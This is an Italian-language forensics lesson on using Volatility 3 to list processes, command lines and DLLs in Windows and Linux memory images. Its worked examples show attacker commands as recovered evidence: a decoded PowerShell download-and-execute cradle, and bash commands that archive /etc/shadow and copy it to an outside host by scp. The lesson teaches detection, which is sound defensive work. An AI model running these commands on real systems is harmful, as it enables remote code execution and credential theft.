Memoria e dati volatili · Lezione 2 di 4
Volatility 3: processi, righe di comando e DLL
11 min di lettura
La lezione 5.1 ha illustrato come acquisire la memoria; questa lezione mostra come leggere i processi al suo interno. Con Volatility 3 è possibile elencare ciò che era in esecuzione, ricostruire quale processo ha avviato gli altri, recuperare righe di comando e moduli caricati e individuare processi nascosti da un rootkit. I plugin Windows e i loro equivalenti Linux sono presentati in parallelo, perché l'esame pratico CFX utilizza un'acquisizione della memoria Linux, mentre la Parte A include anche domande sulla memoria Windows.
Nozioni di base su Volatility 3
Volatility 3 è un framework open source in Python 3. Dopo l'installazione con pip, si avvia con vol -f <image> <plugin>; da una copia del repository sorgente, il comando equivalente è python3 vol.py -f <image> <plugin>. I plugin sono denominati in base al sistema operativo: windows.pslist, linux.pslist, mac.pslist. Le opzioni globali precedono il nome del plugin e le opzioni del plugin lo seguono, ad esempio vol -f mem.raw -r csv windows.pslist --pid 6120.
Per tradurre la memoria grezza in strutture, come il record di un processo, Volatility necessita di una tabella dei simboli: la disposizione delle strutture e gli indirizzi del kernel per quella specifica build del kernel, memorizzati in un file JSON ISF (Intermediate Symbol Format).
- Windows. Volatility individua il record di debug del kernel, ne legge il nome PDB (program database) e il GUID, scarica il PDB corrispondente dal server pubblico dei simboli di Microsoft, lo converte in ISF e lo memorizza nella cache. Al primo utilizzo è necessario l'accesso a Internet; su una workstation di analisi offline, occorre popolare preventivamente la cache oppure collocare in
volatility3/symbols, come file zip, il pacchetto di simboli Windows pubblicato dalla Volatility Foundation. - Linux e macOS. Per impostazione predefinita non viene scaricato nulla. È necessario collocare un file ISF corrispondente in
volatility3/symbols(o in una directory specificata con--symbol-dirs). Per Linux viene generato condwarf2jsona partire da un kernel con informazioni di debug e dal relativo System.map, ad esempiodwarf2json linux --elf /usr/lib/debug/boot/vmlinux-6.1.0-18-amd64 --system-map /boot/System.map-6.1.0-18-amd64 > debian-6.1.0-18.json. Su Debian, il kernel di debug è fornito dal pacchettolinux-image-6.1.0-18-amd64-dbg.
Prima di qualsiasi altra operazione, identificare il sistema. windows.info riporta l'indirizzo base del kernel, l'indirizzo base della tabella delle directory, se l'immagine è a 64-bit, la build (NtMajorVersion, NtMinorVersion, NTBuildLab) e il valore SystemTime al momento dell'acquisizione. Per Linux, banners.Banners cerca la stringa del banner del kernel, ad esempio Linux version 6.1.0-18-amd64 (debian-kernel@lists.debian.org) ... Debian 6.1.76-1; l'ISF deve corrispondere esattamente a quella release, altrimenti i plugin non funzionano o restituiscono dati privi di senso.
Per impostazione predefinita, l'output viene visualizzato sullo schermo sotto forma di tabella. -r csv e -r json (anche jsonl) producono output elaborabile automaticamente per fogli di calcolo e cronologie; -o <dir> imposta la directory in cui vengono scritti i file estratti. Volatility riporta gli orari in UTC.
Elencare i processi su Windows
Un processo Windows è rappresentato nel kernel da una struttura EPROCESS. Tre plugin esaminano queste strutture in modi diversi.
| Plugin | Metodo | Individua | Non individua |
|---|---|---|---|
windows.pslist | Percorre la lista doppiamente concatenata a partire da PsActiveProcessHead attraverso ogni EPROCESS.ActiveProcessLinks | Processi attivi al momento dell'acquisizione | Processi scollegati (nascosti) e terminati |
windows.psscan | Cerca nella memoria fisica le allocazioni del pool EPROCESS (tag del pool Proc) | Processi attivi, terminati e scollegati | Nessuno dei processi nella lista, ma può mostrare residui obsoleti |
windows.pstree | Organizza la lista dei processi in base al PID del processo padre | Relazioni padre-figlio | Come pslist |
I campi principali sono PID e PPID (PID del processo padre); ImageFileName, un campo di 15 byte in EPROCESS, per cui i nomi lunghi vengono troncati a 14 caratteri (ApplicationFrameHost.exe appare come ApplicationFra); CreateTime ed ExitTime in UTC; Threads e Handles; SessionId (0 per i servizi, 1 o superiore per gli accessi interattivi); e Wow64 (True per un processo a 32-bit su Windows a 64-bit).
Individuare l'occultamento. Un rootkit può scollegare il proprio EPROCESS da ActiveProcessLinks tramite la manipolazione diretta degli oggetti del kernel (Direct Kernel Object Manipulation, DKOM). Il processo continua a essere eseguito, perché lo scheduler lavora con i thread, non con quella lista, ma scompare da pslist e da Gestione attività. Confrontare i PID restituiti da pslist e psscan: un processo presente in psscan senza ExitTime, ma non visualizzato da pslist, merita un esame approfondito. Una voce di psscan con ExitTime corrisponde in genere semplicemente a un processo terminato.
Aspetto di un normale albero dei processi Windows
Su Windows 10 e 11, la catena di avvio è stabile:
- System (PID 4) avvia smss.exe. Il gestore delle sessioni crea una copia temporanea di sé per ogni sessione, che avvia csrss.exe e wininit.exe nella sessione 0, e csrss.exe e winlogon.exe nella sessione 1, quindi termina. Il loro PPID, pertanto, non corrisponde ad alcun processo in esecuzione; è normale.
- wininit.exe avvia services.exe e lsass.exe. Ne esiste esattamente uno per ciascuno.
- services.exe è il padre di ogni svchost.exe, ciascuno avviato con
-k <group>(spesso anche con-p -s <service>). - winlogon.exe avvia userinit.exe, che avvia explorer.exe e termina, quindi anche explorer.exe ha un PPID orfano. I programmi utente sono figli di explorer.exe.
Anomalie da ricercare: un processo di sistema con un padre errato (lsass.exe non sotto wininit.exe, svchost.exe non sotto services.exe); un secondo lsass.exe; nomi simili a quelli legittimi, come scvhost.exe o lsas.exe; un binario di sistema al di fuori di C:\Windows\System32; svchost.exe senza -k; applicazioni Office, browser o lettori PDF che avviano shell. I PID vengono riutilizzati, quindi verificare sempre che il CreateTime del padre sia precedente a quello del figlio.
Righe di comando, DLL e contesto del processo
windows.cmdlinevisualizza la riga di comando dal PEB (Process Environment Block, nello spazio utente) del processo tramiteProcessParameters. Un processo può sovrascrivere il proprio PEB, quindi considerarlo una fonte solida ma non immune da manomissioni, e prevedere errori come "inaccessibile (trasferito nell'area di swap)" o "non valido" quando la pagina non è presente nell'immagine.windows.dlllistelenca i moduli dalla lista del caricatore nel PEB, con indirizzo base, dimensione, percorso completo e ora di caricamento. Fornisce il percorso completo che ImageFileName non può fornire.windows.ldrmodulesconfronta le tre liste del PEB (InLoadOrder, InInitializationOrder, InMemoryOrder) con i VAD (Virtual Address Descriptors, i descrittori con cui il kernel registra la memoria mappata). Una DLL mappata in un VAD ma con valore False in tutte e tre le liste è stata scollegata per nasconderla. L'eseguibile principale presenta normalmente il valore False soltanto in InInit. Dal 2025 questo plugin è collocato inwindows.malware.ldrmodules; il nome breve funziona ancora come alias deprecato.windows.envarsmostra le variabili d'ambiente (ad esempioTEMP,USERNAME);windows.getsidsmostra i SID nel token del processo, che collegano un processo a un account;windows.privilegesmostra i privilegi del token, dove unSeDebugPrivilegeabilitato in un processo inatteso è degno di nota.windows.pslist --pid 6120 --dumpscrive su disco l'eseguibile del processo ewindows.dumpfiles --pid 6120estrae gli oggetti file memorizzati nella cache in memoria. Un PE estratto viene ricostruito dalla memoria e in genere il suo hash non corrisponde a quello del file su disco; calcolare l'hash della copia su disco per l'identificazione.
Esempio svolto: Word avvia PowerShell
Output semplificato di windows.pstree su un'immagine Windows 11:
| Processo | PID | PPID | Sessione | CreateTime (UTC) |
|---|---|---|---|---|
| System | 4 | 0 | N/D | 2026-03-12T07:58:11Z |
| . smss.exe | 368 | 4 | N/D | 2026-03-12T07:58:11Z |
| wininit.exe | 552 | 460 | 0 | 2026-03-12T07:58:14Z |
| . services.exe | 696 | 552 | 0 | 2026-03-12T07:58:14Z |
| . lsass.exe | 704 | 552 | 0 | 2026-03-12T07:58:14Z |
| explorer.exe | 3172 | 3140 | 1 | 2026-03-12T08:01:52Z |
| . WINWORD.EXE | 4388 | 3172 | 1 | 2026-03-12T09:38:02Z |
| .. powershell.exe | 6120 | 4388 | 1 | 2026-03-12T09:41:27Z |
windows.cmdline --pid 6120 restituisce powershell -nop -w hidden -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMgAwADMALgAwAC4AMQAxADMALgA1ADAALwBhAC4AcABzADEAJwApAA==.
Interpretazione dei parametri. -nop corrisponde a -NoProfile, -w hidden a -WindowStyle Hidden (nessuna finestra visibile) e -enc a -EncodedCommand, che accetta testo UTF-16LE codificato in Base64.
Decodifica. La stringa contiene 200 caratteri Base64 e termina con ==: 200 ÷ 4 × 3 = 150 byte, meno 2 per il padding, restituisce 148 byte. UTF-16LE utilizza qui 2 byte per carattere, quindi il comando contiene 148 ÷ 2 = 74 caratteri. I primi 8 caratteri SQBFAFgA vengono decodificati nei byte 49 00 45 00 58 00, che corrispondono a I, E, X. Il testo completo è IEX (New-Object Net.WebClient).DownloadString('http://203.0.113.50/a.ps1'): scarica uno script e lo esegue in memoria con Invoke-Expression, senza scriverlo su disco.
Perché il processo padre è importante. Word non avvia PowerShell durante il normale utilizzo. Una shell figlia di WINWORD.EXE indica una macro dannosa o un exploit veicolato da un documento. Il CreateTime del padre (09:38:02Z) precede di 3 minuti e 25 secondi quello del figlio (09:41:27Z), quindi il PPID non è stato riutilizzato. Passaggi successivi: windows.dlllist --pid 4388 per verificare se sia stato caricato il motore VBA VBE7.DLL, windows.getsids --pid 6120 per individuare l'account e i plugin di rete della lezione 5.3 per cercare una connessione a 203.0.113.50.
Equivalenti Linux
Il kernel Linux rappresenta ogni task con una struttura task_struct. linux.pslist percorre la lista dei task, linux.pstree mostra i processi padre e, nelle versioni recenti di Volatility 3, linux.psscan cerca in memoria le strutture dei task, quindi il confronto tra pslist e psscan funziona anche su Linux. Il nome del processo (comm) occupa 16 byte, quindi contiene al massimo 15 caratteri. linux.psaux mostra l'elenco completo degli argomenti dalla memoria del processo e, come il PEB, può essere modificato dal processo. linux.lsof elenca i descrittori di file aperti, linux.elfs elenca i file ELF mappati, linux.proc.Maps elenca le regioni di memoria e i file su cui si appoggiano e linux.envars, nelle versioni recenti, mostra le variabili d'ambiente.
linux.bash è spesso il plugin Linux più utile. Bash conserva la propria lista della cronologia nell'heap del processo e scrive ~/.bash_history solo quando la shell termina, quindi i comandi vengono recuperati anche quando l'attaccante ha eseguito unset HISTFILE o eliminato il file. Ogni voce contiene un timestamp, memorizzato in memoria come stringa, ad esempio #1773309820. Il plugin non trova nulla per le shell già terminate.
Esempio svolto. Su un server Debian 12, linux.psaux mostra il PID 2214 come -bash (una shell di login) sotto una sessione sshd e linux.pslist, nelle versioni recenti, mostra per esso UID 0 (root). linux.bash --pid 2214 restituisce:
| PID | Processo | CommandTime (UTC) | Comando |
|---|---|---|---|
| 2214 | bash | 2026-03-12T10:02:09Z | unset HISTFILE |
| 2214 | bash | 2026-03-12T10:02:58Z | tar czf /tmp/.x.tgz /etc/shadow /var/www/html/config.php |
| 2214 | bash | 2026-03-12T10:03:40Z | scp /tmp/.x.tgz backup@198.51.100.23:/srv/in/ |
| 2214 | bash | 2026-03-12T10:04:12Z | rm /tmp/.x.tgz |
Per verificare l'orario di scp: 1.773.309.820 − 1.773.273.600 (2026-03-12T00:00:00Z) = 36.220 s = 10 h 3 min 40 s, quindi 2026-03-12T10:03:40Z. Poiché HISTFILE è stata rimossa dall'ambiente, /root/.bash_history su disco non conterrà questi comandi; la memoria ne è l'unica traccia.
Scegliere il plugin
| Domanda | Plugin Windows | Plugin Linux |
|---|---|---|
| Quali sistema operativo e build del kernel? | windows.info | banners.Banners |
| Che cosa era in esecuzione? | windows.pslist | linux.pslist |
| Processi nascosti o terminati? | windows.psscan | linux.psscan (versioni recenti) |
| Quale processo ha avviato gli altri? | windows.pstree | linux.pstree |
| Riga di comando completa? | windows.cmdline | linux.psaux |
| Librerie caricate o file mappati? | windows.dlllist, windows.ldrmodules | linux.elfs, linux.proc.Maps |
| File aperti? | windows.handles (lezione 5.3) | linux.lsof |
| Variabili d'ambiente? | windows.envars | linux.envars (versioni recenti) |
| Comandi digitati dall'utente? | windows.consoles, windows.cmdscan (versioni recenti) | linux.bash |
Focus sull'esame: Occorre saper riportare valori esatti da un'acquisizione Linux: un PID, un PID padre, una riga di comando dalinux.psauxoppure un comando e il relativo orario UTC dalinux.bash. La Parte A può chiedere perché psscan individua un processo che pslist non mostra, quale sia il padre normale di lsass.exe o svchost.exe, come decodificare-enc(Base64 di testo UTF-16LE) e perché l'analisi Linux non funziona senza un ISF corrispondente.
Punti chiave
- Volatility 3 necessita di una tabella dei simboli: i PDB Windows vengono recuperati dal server dei simboli di Microsoft tramite GUID, mentre Linux e macOS richiedono un ISF generato con dwarf2json per lo specifico kernel.
- pslist percorre la lista dei processi attivi; psscan cerca le strutture e individua anche processi terminati e scollegati, quindi una differenza tra i due può rivelare un occultamento tramite DKOM.
- Conoscere l'albero normale: un solo lsass.exe sotto wininit.exe, svchost.exe sotto services.exe con
-k, explorer.exe con un PPID orfano; una shell sotto un'applicazione Office è un indizio significativo. - Le righe di comando (
windows.cmdline,linux.psaux) provengono dalla memoria nello spazio utente, che il processo può modificare; verificarle mediante altre fonti. linux.bashrecupera comandi con timestamp da processi bash attivi, anche quando HISTFILE è stata rimossa dall'ambiente o il file della cronologia è stato eliminato.